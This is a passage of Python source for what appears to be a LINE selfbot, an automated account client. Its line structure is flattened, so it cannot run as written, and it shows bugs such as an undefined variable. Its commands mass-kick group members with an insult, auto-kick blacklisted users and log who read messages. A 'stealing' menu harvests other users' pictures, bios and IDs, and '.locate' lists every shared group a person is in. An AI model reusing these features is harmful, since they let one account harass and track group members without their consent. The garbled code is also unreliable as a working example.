op.param1 in protectStaff: th = Thread(target=prostaff(op,)) th.start() th.join() elif op.param1 in protectMax: th =Thread(target=promax(op,)) th.start() th.join() else:kekick(op) if op.type in [13,124]: if op.param1 in protectMax: th = Thread(target=proinvite(op,)) th.start() th.join() if op.type == 55 : try: target = [ax.mid for ax in client.getGroup(op.param1).members] if op.param1 in read["cctv"]: if op.param2 in target: if op.param2 not in read["cctv"][op.param1]: user = ["Monyet lu","hai homo sapien","homo sapiens apa kabar?","piye mbakmu ayu ra?"] data = random.choice(user) text = "• @! {}".format(data) client.sendMention(op.param1,text,[op.param2]) read["cctv"][op.param1][op.param2] = True if op.param1 in cctv['readPoint']: timezone = pytz.timezone("Asia/Jakarta") timing = datetime.now(tz=timezone) timer = timing.strftime('%H.%M') if op.param2 in cctv['readPoint'][op.param1]:pass else: cctv['readPoint'][op.param1][op.param2] = True cctv['readMember'][op.param1][op.param2] = "Time: {}".format(timer) with open('Data/cctv.json', 'w') as fp: json.dump(cctv, fp, sort_keys=True, indent=4) except:pass if op.type in [17,130]: if op.param1 in setting["welcome"]: if op.param2 not in setting["blacklist"]: jangan = client.getGroup(op.param1) if op.param1 in read["wmessage"]: text = "Hi @! \nWelcome to " + jangan.name + "\n" + read["wmessage"][op.param1] client.sendMention(op.param1,text,[op.param2]) client.sendPage(op.param1) else: text = "Hi @! \nWelcome to " + jangan.name client.sendMention(op.param1,text,[op.param2]) client.sendPage(op.param1) if op.type in [15,128]: if setting["leave"] == True: if op.param2 not in setting["blacklist"]: jangan = client.getGroup(op.param1) if read["lmessage"] !="": mess = read["lmessage"] + " @! " client.sendMention(op.param1,mess,[op.param2]) else: mess = "Good bye @! " client.sendMention(op.param1,mess,[op.param2]) if op.type == 5 : if setting["adders"] == True: if op.param1 not in setting["blacklist"]: if setting["addmsg"] == "":client.sendMention(op.param1,"Hi @! \nThank u for add me :)",[op.param1]) else: text = "Hi @! \n" + setting["addmsg"] client.sendMention(op.param1,text,[op.param1]) if op.type in [13,17,55,124,130]: if op.param2 in setting["blacklist"]: try:client.kickoutFromGroup(op.param1,[op.param2]) except:pass if op.type in [32,126]: if op.param1 in protectMax: if op.param2 not in setting["whitelist"]: setting["blacklist"].append(op.param2) with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) try: client.kickoutFromGroup(op.param1,[op.param2]) client.findAndAddContactsByMid(op.param3) client.inviteIntoGroup(op.param1,[op.param3]) except:pass if op.type in [11,122]: if op.param1 in protectMax and op.param3 == "4": if op.param2 not in setting["whitelist"]: setting["blacklist"].append(op.param2) with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) hoax = client.getGroup(op.param1) if hoax.preventedJoinByTicket == False: abc = client.getGroup(op.param1) abc.preventedJoinByTicket = True client.updateGroup(abc) try:client.kickoutFromGroup(op.param1,[op.param2]) except:pass else: hoax = client.getGroup(op.param1) if hoax.preventedJoinByTicket == False: abc = client.getGroup(op.param1) abc.preventedJoinByTicket = True client.updateGroup(abc) if op.type == 11: if op.param1 in protectMax and op.param3 == "1": if op.param2 not in setting["whitelist"]: setting["blacklist"].append(op.param2) with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) hoax = client.getGroup(op.param1).name if hoax not in setting["gname"][op.param1]: abc = client.getGroup(op.param1) abc.name = setting["gname"][op.param1] client.updateGroup(abc) try:client.kickoutFromGroup(op.param1,[op.param2]) except:pass else: abc = client.getGroup(op.param1).name setting["gname"][op.param1] = abc with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) if op.type == 25: try: msg = op.message txt = msg.text if msg.toType in [0,2]: to = msg.to ids = msg.id msg.to = msg.to if msg.contentType == 0: if None == txt: return cmd = txt.lower() rname = setting["rname"].lower() + " " link = txt[txt.find(":")+2:] search = txt[txt.find(":")+2:].lower() if cmd== ".help" or cmd== rname + "help": if cmd.startswith('.'):label = cmd.replace('.','') else:label = cmd.replace(rname,"") menu = " Media Stealing\n Utility Listing\n Settings Protection\n Groupset Customing\n ───────────\n Use 「 • 」for prefix." client.help(msg.to,label,menu) if cmd== ".media" or cmd== rname + "media": if cmd.startswith('.'):label = cmd.replace('.','') else:label = cmd.replace(rname,"") menu = open('help/media.txt','r').read() client.help(msg.to,label,menu) if cmd== ".utility" or cmd== rname + "utility": if cmd.startswith('.'):label = cmd.replace('.','') else:label = cmd.replace(rname,"") menu = open('help/utility.txt','r').read() client.center(msg.to,label,menu) if cmd== ".listing" or cmd== rname + "listing": if cmd.startswith('.'):label = cmd.replace('.','') else:label = cmd.replace(rname,"") menu = open('help/listing.txt','r').read() client.center(msg.to,label,menu) if cmd== ".stealing" or cmd== rname + "stealing": if cmd.startswith('.'):label = cmd.replace('.','') else:label = cmd.replace(rname,"") menu = open('help/stealing.txt','r').read() client.help(msg.to,label,menu) if cmd== ".groupset" or cmd== rname + "groupset": if cmd.startswith('.'):label = cmd.replace('.','') else:label = cmd.replace(rname,"") menu = open('help/groupset.txt','r').read() client.help(msg.to,label,menu) if cmd== ".protection" or cmd== rname + "protection": if cmd.startswith('.'):label = cmd.replace('.','') else:label = cmd.replace(rname,"") menu = open('help/protect.txt','r').read() client.help(msg.to,label,menu) if cmd== ".customing" or cmd== rname + ".customing": if cmd.startswith('.'):label = cmd.replace('.','') else:label = cmd.replace(rname,"") menu = open('help/customing.txt','r').read() client.help(msg.to,label,menu) #schedule.every(16).seconds.do(lottoyekee) if cmd== ".lotto" or cmd== rname + ".lotto" : lottoyekee() if cmd.startswith('.'):label = cmd.replace('.','') else:label = cmd.replace(rname,"") menu = open('help/lotto.txt','r').read() to = 'ca42c3b4b95237b04b34c2d70b87dbf88' client.help(msg.to,label,menu) #while True: #schedule.run_pending() #time.sleep(1) if cmd== ".settings" or cmd== rname + ".settings": if cmd.startswith('.'):label = cmd.replace('.','') else:label = cmd.replace(rname,"") justgood = "https://www.img.in.th/images/8d8a98f486d4e22cf0cf0d80340bfc7d.png" data = "" if msg.to not in protectMax and msg.to not in protectStaff:data += "\n\n🆘 ALL PROTECTION" else: if msg.to in protectMax:data += "\n\n✅ PROTECT MAX" elif msg.to in protectStaff:data += "\n\n✅ PROTECT STAFF" if setting["ticket"]:data += "\n✅ JOIN TICKET" else:data += "\n🆘 JOIN TICKET" if msg.to in setting["welcome"]:data += "\n✅ WELCOME MESSAGE" else:data += "\n🆘 WELCOME MESSAGE" if setting["leave"]:data += "\n✅ LEAVE MESSAGE" else:data += "\n🆘 LEAVE MESSAGE" if setting["adders"]:data += "\n✅ ADD MESSAGE" else:data += "\n🆘 ADD MESSAGE" datax = {"type":"bubble","size":"kilo","body":{"type":"box","layout":"vertical","backgroundColor":"#000000","contents":[{"type":"box","layout":"vertical","contents":[{"type":"text","text":"SETTINGS","color":"#FFC300","weight":"bold","size":"xxs"}],"position":"absolute","offsetTop":"15px","offsetStart":"15px","borderWidth":"1px","borderColor":"#FFC300","cornerRadius":"50px","paddingStart":"7px","paddingEnd":"7px","paddingTop":"2px","paddingBottom":"2px"},{"type":"box","layout":"vertical","contents":[{"type":"box","layout":"vertical","contents":[{"type":"image","url":justgood,"aspectRatio":"1:1","aspectMode":"cover","action":{"type":"uri","uri":justgood}}],"cornerRadius":"100px"}],"alignItems":"center","paddingTop":"20px"},{"type":"box","layout":"vertical","contents":[{"type":"text","text":label.upper(),"weight":"bold","size":"md","color":"#FFC300"},{"type":"text","text":"Im Just Good","color":"#FFC300cc","size":"xxs"}],"alignItems":"center","paddingTop":"10px"},{"type":"box","layout":"vertical","contents":[{"type":"text","text":data,"color":"#FFC300","size":"xs","wrap":True}],"paddingTop":"15px","paddingBottom":"5px"}],"paddingAll":"10px","paddingStart":"15px","paddingEnd":"15px","paddingBottom":"10px"}} client.sendFlex(msg.to,datax) ''' ** UTILITY ** ''' if cmd== ".res" or cmd== rname + "res": if cmd.startswith('.'):label = cmd.replace('.','') else:label = cmd.replace(rname,"") lotto = open('lotto/lottoresults.txt','r').read() client.sendMessage(msg.to,label,lotto) if cmd== ".me" or cmd== rname + "me": client.me(msg.to) if cmd in [".speed","sp","speed",".sp"] or cmd== rname + "speed": rend = time.time() client.getProfile() yosh = time.time() - rend client.sendMention(msg.to, "「 @! 」\nTime: %.4f"%(yosh),[mid]) if cmd in ["rname",".rname","mykey",".mykey"] or cmd== rname + "rname": client.sendMessage(msg.to,setting["rname"].title()) if cmd== ".kickall" or cmd== rname + "kickall" or cmd == setting["keykick"].lower(): if msg.toType == 2: hoax = client.getGroup(msg.to) client.sendMessage(msg.to,"Goodbye Bitch ~") for ax in hoax.members: if ax.mid not in setting["whitelist"]: client.kickoutFromGroup(msg.to,[ax.mid]) client.sendMessage(msg.to,"Rubish has been cleared") if cmd== ".unsend" or cmd== rname + ".unsend": client.sendMessage(msg.to,"「 Usage 」\n.unsend num") if cmd.startswith(".unsend ") or cmd.startswith(rname + "unsend "): msgid = cmd.split("unsend ")[1] if msgid.isdigit(): mess = client.getRecentMessagesV2(msg.to,999) mes = [] for x in mess: if x._from == mid: mes.append(x.id) if len(mes) == int(msgid):break for b in mes: try:client.unsendMessage(b) except:pass else:client.sendMessage(msg.to,"「 Usage 」\n.unsend num") if cmd== ".runtime" or cmd== rname + "runtime": high = time.time() - starting voltage = "Selfbot has been running for:\n"+runtime(high) client.sendMessage(msg.to,f"{voltage}") if cmd== ".reboot": client.sendMessage(msg.to,"restarting..") restart() if cmd== ".allowliff": try: liff() client.sendFlexText(msg.to,"Flex enabled.") except:client.sendReplyMessage(ids,to,"Click and allow url to enable flex\nline://app/1602876096-e9QWgjyo") if cmd== ".tagall" or cmd== "@@@": group = client.getGroup(msg.to) midMembers = [contact.mid for contact in group.members] midSelect = len(midMembers)//20 for mentionMembers in range(midSelect+1): ret_ = "• MENTIONALL\n• IMJUSTGOOD\n• ᴘɴᴄᴋ ᴅᴀᴠ ᴀᴘᴘ\n" no = 0;dataMid = []; for dataMention in group.members[mentionMembers*20 : (mentionMembers+1)*20]: dataMid.append(dataMention.mid) ret_ += "\n{}. @!\n".format(str(no)).replace("/0️⃣/gi", "apples") no = (no+1) ret_ += "\n\n「 🔛 สมาชิกทั้งหมด {} ท่าน 」".format(str(len(dataMid))) +"\n\n• (っ◔◡◔)っ 🐯 ขออภัยหากรบกวน 🐝\n• 🐳 ꜱᴏʀʀʏ ᴛᴏ ʙᴏᴛʜᴇʀ ʏᴏᴜ 🐳\n" client.sendMention(msg.to, ret_, dataMid) ''' ** LISTING ** ''' if cmd== ".ginfo" or cmd== rname + "ginfo": group = client.getGroup(msg.to) try:gCreator = group.creator.displayName except:gCreator = "Not Found" if group.invitee is None:gPending = "0" else:gPending = str(len(group.invitee)) if group.pictureStatus is None:gpict = "https://www.img.in.th/images/8d8a98f486d4e22cf0cf0d80340bfc7d.png" else:gpict = oburl + group.pictureStatus menu = "\nTotal Members : {}".format(str(len(group.members))) menu += "\nTotal Pending : {}".format(gPending) if group.preventedJoinByTicket == True:menu += "\nGroup QR : Clossed" else:menu += "\nGroup QR: Open" data={"type":"bubble","size":"kilo","body":{"type":"box","layout":"vertical","backgroundColor":"#000000","contents":[{"type":"box","layout":"vertical","contents":[{"type":"text","text":"GROUP INFO","color":"#FFC300","weight":"bold","size":"xxs"}],"position":"absolute","offsetTop":"15px","offsetStart":"15px","borderWidth":"1px","borderColor":"#FFC300","cornerRadius":"50px","paddingStart":"7px","paddingEnd":"7px","paddingTop":"2px","paddingBottom":"2px"},{"type":"box","layout":"vertical","contents":[{"type":"box","layout":"vertical","contents":[{"type":"image","url":gpict,"aspectRatio":"1:1","aspectMode":"cover","action":{"type":"uri","uri":gpict}}],"cornerRadius":"100px"}],"alignItems":"center","paddingTop":"20px"},{"type":"box","layout":"vertical","contents":[{"type":"text","text":group.name,"weight":"bold","size":"md","color":"#FFC300"},{"type":"text","text":"Created By: {}".format(gCreator),"color":"#FFC300cc","size":"xxs"}],"alignItems":"center","paddingTop":"10px"},{"type":"box","layout":"vertical","contents":[{"type":"text","text":menu,"color":"#FFC300","size":"xs","wrap":True}],"paddingTop":"15px","paddingBottom":"5px"}],"paddingAll":"10px","paddingStart":"15px","paddingEnd":"15px","paddingBottom":"10px"}} client.sendFlex(msg.to,data) try:client.sendContact(msg.to,group.creator.mid) except:pass if group.preventedJoinByTicket == False: gqropen = "GROUP URL:\nhttps://line.me/R/ti/g/{}".format(str(client.reissueGroupTicket(group.id))) try:client.sendMessage(msg.to,gqropen) except:pass if cmd== ".gbirth" or cmd== rname + "gbirth": client.gbirth(msg.id,msg.to) if cmd== ".groups" or cmd== rname + "groups": if cmd.startswith('.'):label = cmd.replace('.','') else:label = cmd.replace(rname,"") gruplist = client.getGroupIdsJoined() kontak = client.getGroups(gruplist) num=0;menu="Grouplist:\n" for ids in kontak: menu +="\n%i . %s" % (num, ids.name) + " (" + str(len(ids.members)) + ")" num=(num+1) menu +="\n\nTotal : %i Groups." % len(kontak) client.help(msg.to,label,menu) if cmd== ".groupid" or cmd== rname + "groupid": client.sendMessage(msg.to,"{}".format(client.getGroup(msg.to).id)) if cmd== ".friendlist" or cmd== rname + "friendlist": if cmd.startswith('.'):label = cmd.replace('.','') else:label = cmd.replace(rname,"") contactlist = client.getAllContactIds() contacts = client.getContacts(contactlist) num=1;menu="Friendlist:\n" for ids in contacts: menu +="\n%i. %s" % (num, ids.displayName) num=(num+1) menu +="\n\nTotal: %i Friends" % len(contacts) client.help(msg.to,label,menu) if cmd== ".pendinglist" or cmd== rname + "pendinglist": if cmd.startswith('.'):label = cmd.replace('.','') else:label = cmd.replace(rname,"") pending = client.getGroup(msg.to) if pending.invitee is None:client.sendMessage(msg.to,"Pendinglist empty.") else: pendinglist = [a.mid for a in pending.invitee] num = 1;menu = "Pendinglist:\n" for xx in pendinglist: menu +="\n%i. %s" % (num, client.getContact(xx).displayName) num = (num+1) menu +="\n\nTotal: %i pendings." % len(pendinglist) client.help(msg.to,label,menu) if cmd== ".memberlist" or cmd== rname + "pendinglist": if cmd.startswith('.'):label = cmd.replace('.','') else:label = cmd.replace(rname,"") member = client.getGroup(msg.to) members = [a.mid for a in member.members] num = 1;menu = "Memberlist:\n" for xx in members: menu +="\n%i. %s" % (num, client.getContact(xx).displayName) num = (num+1) menu +="\n\nTotal: %i members." % len(members) client.help(msg.to,label,menu) if cmd.startswith(".clear") or cmd.startswith(rname + "clear"): clearing = cmd.split("clear")[1] if clearing == "blacklist": if setting["blacklist"] == []: client.sendMessage(msg.to,"Blacklist empty!") else: setting["blacklist"] = [] with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) client.sendReplyMessage(msg.id,msg.to,"blacklist cleared.") elif clearing == "whitelist": if setting["whitelist"] == []: client.sendMessage(msg.to,"Whitelist empty!") else: setting["whitelist"] = [] with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) client.sendReplyMessage(msg.id,msg.to,"Whitelist cleared.") if cmd== ".whitelist" or cmd== rname + "whitelist": listing = setting["whitelist"] no = 1; data = "• Imjustgood\n• Whitelist:\n\n" for x in listing: data +=" {}. @! it, \n".format(no) no += 1 data +="\nTotal: {}".format(len(listing)) if listing == []:client.sendMessage(msg.to,"Whitelist empty!") else:client.sendReplyMention(msg.id,msg.to,data,"",listing) if cmd== ".blacklist" or cmd== rname + "blackist": listing = setting["blacklist"] no = 1; data = "• Imjustgood\n• Blacklist:\n\n" for x in listing: data +=" {}. @! it, \n".format(no) no += 1 data += "\nTotal: {}".format(len(listing)) if listing == []:client.sendMessage(msg.to,"Blacklist empty!") else:client.sendReplyMention(msg.id,msg.to,data,"",listing) if cmd== ".findblacklist" or cmd== rname + "findblacklist": if setting["blacklist"] == []:client.sendReplyMessage(msg.id, msg.to,"Blacklist empty!") else: find = client.getGroup(msg.to) finded = [] for x in find.members: if x.mid in setting["blacklist"]: finded.append(x.mid) if finded == []:client.sendReplyMessage(ids,to,"No blacklist found\nin '{}'".format(find.name)) else: data = [o for o in finded] finding = len(data)//20 for gx in range(finding +1): result = "• ImJustGood\n• Find Blacklist:\n" listed = []; no = 1 for ax in data[gx*20:(gx+1)*20]: result += "\n {}. @! it,\n".format(no) no = (no+1) listed.append(ax) result += "\nBe alert!「 {} 」here.\nGroup: {}".format(len(listed),find.name) client.sendReplyMention(ids,to,result,'',listed) ''' ** GROUPSET ** ''' if cmd.startswith(".kick ") or cmd.startswith(rname + "kick "): if 'MENTION' in msg.contentMetadata.keys()!= None: names = re.findall(r'@(\w+)', cmd) mention = ast.literal_eval(msg.contentMetadata['MENTION']) mentionees = mention['MENTIONEES'] Mmbers = [a.mid for a in client.getGroup(msg.to).members] hole = [] for mention in mentionees: if mention["M"] not in hole: if mention['M'] not in Mmbers: hole.append(mention["M"]) for mmq in hole: try:client.kickoutFromGroup(msg.to, [mmq]) except:client.sendMessage(msg.to, "Gagal son.") if cmd.startswith(".invite ") or cmd.startswith(rname + "invite "): if 'MENTION' in msg.contentMetadata.keys()!= None: names = re.findall(r'@(\w+)', cmd) mention = ast.literal_eval(msg.contentMetadata['MENTION']) mentionees = mention['MENTIONEES'] Mmbers = [a.mid for a in client.getGroup(msg.to).members] hole = []; for mention in mentionees: if mention["M"] not in hole: if mention['M'] not in Mmbers: hole.append(mention["M"]) for mmq in hole: try: client.findAndAddContactsByMid(mmq) client.inviteIntoGroup(msg.to, [mmq]) except:client.sendMessage(msg.to, "Gagal son.") if cmd.startswith(".sleed ") or cmd.startswith(rname + "sleed "): if 'MENTION' in msg.contentMetadata.keys()!= None: names = re.findall(r'@(\w+)', cmd) mention = ast.literal_eval(msg.contentMetadata['MENTION']) mentionees = mention['MENTIONEES'] for mention in mentionees: try: client.kickoutFromGroup(msg.to, [mention['M']]) client.findAndAddContactsByMid(mention['M']) client.inviteIntoGroup(msg.to, [mention['M']]) client.cancelGroupInvitation(msg.to, [mention['M']]) except: client.sendMessage(msg.to, "Gagal son.") if cmd.startswith(".joinurl ") or cmd.startswith(rname + "joinurl "): mmq = msg.text.split(".joinurl ")[1] if mmq.startswith("http"): asw = mmq.split("/ti/g/")[1] mmk = client.findGroupByTicket(asw) if mmk.id not in client.getGroupIdsJoined(): try: client.acceptGroupInvitationByTicket(mmk.id,asw) client.sendMessage(msg.to,"Success join to {}".format(mmk.name)) except:pass if '/ti/g/' in cmd and setting["ticket"] == True: data = msg.text.split('/ti/g/')[1] if " " in data: link = data.split(" ")[0] elif "\n" in data: link = data.split("\n")[0] else:link = data mmk = client.findGroupByTicket(link) if mmk.id not in client.getGroupIdsJoined(): try:client.acceptGroupInvitationByTicket(mmk.id,link) except:pass if cmd.startswith(".sider ") or cmd.startswith(rname + "sider "): data = cmd.split("sider ")[1] if data == "on": if msg.to in read["cctv"]: read["cctv"][msg.to] = {} client.sendMessage(msg.to,"sider restarting.") else: read["cctv"][msg.to] = {} client.sendMessage(msg.to,"sider enabled.") if data == "off": if msg.to in read["cctv"]: del read["cctv"][msg.to] client.sendMessage(msg.to,"sider disabled.") else:client.sendMessage(msg.to,"already disabled.") if cmd.startswith(".read") or cmd.startswith(rname + "read"): data = cmd.split("read")[1] if data == " on": timezone = pytz.timezone("Asia/Jakarta") timeNow = datetime.now(tz=timezone) readTime = "Starting read point\nTime: " + timeNow.strftime('%H:%M:%S') if msg.to in cctv['readPoint']: cctv['readPoint'][msg.to] = {} cctv['readMember'][msg.to] = {} with open('Data/cctv.json', 'w') as fp: json.dump(cctv, fp, sort_keys=True, indent=4) client.sendReplyMessage(msg.id,msg.to,"Read point restarting.") else: cctv['readPoint'][msg.to] = {} cctv['readMember'][msg.to] = {} with open('Data/cctv.json', 'w') as fp: json.dump(cctv, fp, sort_keys=True, indent=4) client.sendReplyMessage(msg.id, msg.to, readTime) if data == " off": if msg.to not in cctv["readPoint"]: client.sendReplyMessage(msg.id, msg.to, "already disabled.") else: del cctv['readPoint'][msg.to] del cctv['readMember'][msg.to] with open('Data/cctv.json', 'w') as fp: json.dump(cctv, fp, sort_keys=True, indent=4) client.sendReplyMessage(msg.id, msg.to, "read member disabled.") if data == "ing": if msg.to in cctv['readPoint']: if cctv["readMember"][msg.to].items() == []: client.sendReplyMessage(msg.id, msg.to,"Reader None") else: yos = ""; ren= []; ang = '• JustGood\n• Group reader:\n\n' for com in cctv["readMember"][msg.to]: heading = "@Goperation\n" just = str(len(yos)+len(ang)) good = str(len(yos)+len(heading)+len(ang)-1) im = {'S':just, 'E':good, 'M':com} ren.append(im) yos += heading + " {}\n".format(cctv["readMember"][msg.to][com]) text = ang + yos + "\nGroup: " + client.getGroup(msg.to).name try:client.sendReplyMessage(msg.id, msg.to, text, contentMetadata={'MENTION':str('{"MENTIONEES":'+json.dumps(ren).replace(' ','')+'}')}, contentType=0) except Exception as e:print(e) if cmd.startswith(".join ") or cmd.startswith(rname + "join "): data = cmd.split("join ")[1] if data == "on": if setting["join"]:client.sendMessage(msg.to,"already enabled.") else: setting["join"] = True with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) client.sendMessage(msg.to,"join enabled.") if data == "off": if setting["join"] == False:client.sendMessage(msg.to,"already disabled.") else: setting["join"] = False with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) client.sendMessage(msg.to,"already disabled.") if cmd.startswith(".ticket ") or cmd.startswith(rname + "ticket "): data = cmd.split("ticket ")[1] if data == "on": if setting["ticket"]:client.sendMessage(msg.to,"already enabled.") else: setting["ticket"] = True with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) client.sendMessage(msg.to,"Join ticket enabled.") if data == "off": if setting["ticket"] == False:client.sendMessage(msg.to,"Join ticket disabled.") else: setting["ticket"] = False with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) client.sendMessage(msg.to,"already disabled.") if cmd.startswith(".addmsg ") or cmd.startswith(rname + "addmsg "): data = cmd.split("addmsg ")[1] if data == "on": if setting["adders"]:client.sendMessage(msg.to,"already enabled.") else: setting["adders"] = True with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) client.sendMessage(msg.to,"Add msg enabled.") if data == "off": if setting["adders"] == False:client.sendMessage(msg.to,"Already disabled.") else: setting["adders"] = False with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) client.sendMessage(msg.to,"add message disabled.") if cmd.startswith(".leave ") or cmd.startswith(rname + "leave "): data = cmd.split("leave ")[1] if data == "on": if setting["leave"]:client.sendMessage(msg.to,"already enabled.") else: setting["leave"] = True with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) client.sendMessage(msg.to,"Leave msg enabled.") if data == "off": if setting["leave"] == False:client.sendMessage(msg.to,"already disabled.") else: setting["leave"] = False with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) client.sendMessage(msg.to,"leave message disabled.") if cmd.startswith(".welcome ") or cmd.startswith(rname + "welcome "): data = cmd.split("welcome ")[1] if data == "on": if msg.to in setting["welcome"]:client.sendMessage(msg.to,"already enabled.") else: setting["welcome"][msg.to] = True with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) client.sendMessage(msg.to,"Welcome msg enabled.") if data == "off": if msg.to not in setting["welcome"]:client.sendMessage(msg.to,"welcome message disabled.") else: del setting["welcome"][msg.to] with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) client.sendMessage(msg.to,"welcome message disabled.") ''' ** STEALING ** ''' if cmd== ".geturl" or cmd== rname + "geturl": group = client.getGroup(msg.to) if group.preventedJoinByTicket == True: group.preventedJoinByTicket = False client.updateGroup(group) set = client.reissueGroupTicket(msg.to) client.sendFlexText(msg.to, "Group Ticket : \nhttps://line.me/R/ti/g/{}".format(str(set))) else: client.updateGroup(entot) set = client.reissueGroupTicket(msg.to) client.sendFlexText(msg.to, "Group Ticket : \nhttps://line.me/R/ti/g/{}".format(str(set))) if cmd== ".gpict" or cmd== rname + ".gpict": group = client.getGroup(msg.to) data = "{}{}".format(oburl,group.pictureStatus) client.sendFlexImage(msg.to,data) if cmd.startswith(".getpict ") or cmd.startswith(rname + "getpict "): if 'MENTION' in msg.contentMetadata.keys()!= None: names = re.findall(r'@(\w+)', cmd) mention = ast.literal_eval(msg.contentMetadata['MENTION']) mentionees = mention['MENTIONEES'] for mention in mentionees: if mention["M"] not in setting["maker"]: data = "{}{}".format(oburl,client.getContact(mention["M"]).pictureStatus) client.sendFlexImage(msg.to,data) else:client.sendMessage(msg.to,"Permission denied.") if cmd.startswith(".getcover ") or cmd.startswith(rname + "getcover "): if 'MENTION' in msg.contentMetadata.keys()!= None: names = re.findall(r'@(\w+)', cmd) mention = ast.literal_eval(msg.contentMetadata['MENTION']) mentionees = mention['MENTIONEES'] for mention in mentionees: if mention["M"] not in setting["maker"]: data = client.getProfileCoverURL(mention['M']) client.sendFlexImage(msg.to,data) else:client.sendMessage(msg.to,"Permission denied.") if cmd.startswith(".getmid ") or cmd.startswith(rname + "getmid "): if 'MENTION' in msg.contentMetadata.keys()!= None: names = re.findall(r'@(\w+)', cmd) mention = ast.literal_eval(msg.contentMetadata['MENTION']) mentionees = mention['MENTIONEES'] for mention in mentionees: if mention["M"] not in setting["maker"]: data = client.getContact(mention['M']).mid client.sendMessage(msg.to,data) else:client.sendMessage(msg.to,"Permission denied.") if cmd.startswith(".getname ") or cmd.startswith(rname + "getname "): if 'MENTION' in msg.contentMetadata.keys()!= None: names = re.findall(r'@(\w+)', cmd) mention = ast.literal_eval(msg.contentMetadata['MENTION']) mentionees = mention['MENTIONEES'] for mention in mentionees: if mention["M"] not in setting["maker"]: data = client.getContact(mention['M']).displayName client.sendMessage(msg.to,"「 Name 」\n{}".format(data)) else:client.sendMessage(msg.to,"Permission denied.") if cmd.startswith(".getbio ") or cmd.startswith(rname + "getbio "): if 'MENTION' in msg.contentMetadata.keys()!= None: names = re.findall(r'@(\w+)', cmd) mention = ast.literal_eval(msg.contentMetadata['MENTION']) mentionees = mention['MENTIONEES'] for mention in mentionees: if mention["M"] not in setting["maker"]: data = client.getContact(mention['M']).statusMessage client.sendMessage(msg.to,"「 Bio 」\n{}".format(data)) else:client.sendMessage(msg.to,"Permission denied.") if cmd.startswith(".locate") or cmd.startswith(rname + "locate"): cmdx = cmd.split(' @')[0] if cmd.startswith('.'):label = cmdx.replace('.','') else:label = cmdx.replace(rname,"") gruplist = client.getGroupIdsJoined() kontak = client.getGroups(gruplist) if 'MENTION' in msg.contentMetadata.keys()!= None: names = re.findall(r'@(\w+)', cmd) mention = ast.literal_eval(msg.contentMetadata['MENTION']) mentionees = mention['MENTIONEES'] no = 1; detect = [];menu= "Groups Joined:\n\n" for mention in mentionees: profile = client.getContact(mention['M']) for xx in range(len(kontak)): located = [x.mid for x in kontak[xx].members] if mention['M'] in located: detect.append(kontak[xx].id) menu += " {}. {} ({})\n".format(no,kontak[xx].name,len(located)) no = (no+1) if detect == []:client.sendMessage(msg.to,"Nothing found.") else: menu += "\n\nTotal: {} Groups.".format(len(detect)) data ={"type":"bubble","size":"kilo","body":{"type":"box","layout":"vertical","backgroundColor": "#000000","contents":[{"type":"box","layout":"vertical","contents":[{"type":"box","layout":"vertical","contents":[{"type":"image","url":"{}{}".format(oburl,profile.pictureStatus),"aspectRatio":"1:1","aspectMode":"cover"}],"cornerRadius":"100px"}],"alignItems":"center","paddingTop":"50px"},{"type":"box","layout":"vertical","contents":[{"type":"text","text":"{}".format(profile.displayName),"color":"#FFC300","weight":"bold","align":"center"},{"type":"text","text":"Tetaplah mesum","color":"#FFC300cc","align":"center","size":"xxs"}],"paddingAll":"10px"},{"type":"box","layout":"vertical","contents":[{"type":"text","text":label.upper(),"color":"#FFC300","weight":"bold","size":"xxs"}],"position":"absolute","borderWidth":"1px","borderColor":"#ffffffcc","paddingStart":"8px","paddingEnd":"8px","paddingTop":"5px","paddingBottom":"5px","offsetTop":"10px","offsetStart":"10px","cornerRadius":"20px"},{"type":"box","layout":"vertical","contents":[{"type":"box","layout":"vertical","contents":[{"type":"text","text":menu,"color":"#FFC300","size":"xs","wrap":True}],"paddingAll":"20px","backgroundColor":"#111111"}],"paddingAll":"20px","paddingTop":"5px"}],"paddingAll":"0px"},"styles":{"body":{"backgroundColor":"#161e2b"}}} client.sendFlex(msg.to,data) ''' ** PROTECTION ** ''' if cmd.startswith(".addwl ") or cmd.startswith(rname + "addwl "): promote = cmd.split("addwl ")[1] if 'MENTION' in msg.contentMetadata.keys()!= None: names = re.findall(r'@(\w+)', cmd) mention = ast.literal_eval(msg.contentMetadata['MENTION']) mentionees = mention['MENTIONEES'] hole = [];white = setting["whitelist"] no=0;data = "Whitelist added:\n" for mention in mentionees: if mention["M"] not in setting["whitelist"] and mention['M'] not in setting["blacklist"]: hole.append(mention["M"]) white.append(mention["M"]) with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) data += " {}. @! it,\n".format(no) no = (no+1) if hole == []:client.sendMessage(msg.to,"「 Failed 」\nuser already in whitelist or blacklist.") else:client.sendReplyMention(msg.id,msg.to,data,"",hole) if promote == "on": client.sendMessage(msg.to,"send an contact.") read["addwhitelist"] = True if cmd.startswith(".delwl ") or cmd.startswith(rname + "delwl "): demote = cmd.split("delwl ")[1] if 'MENTION' in msg.contentMetadata.keys()!= None: names = re.findall(r'@(\w+)', cmd) mention = ast.literal_eval(msg.contentMetadata['MENTION']) mentionees = mention['MENTIONEES'] hole = [];white = setting["whitelist"] no=1;data = "Whitelist removed:\n" for mention in mentionees: if mention["M"] in setting["whitelist"]: hole.append(mention["M"]) 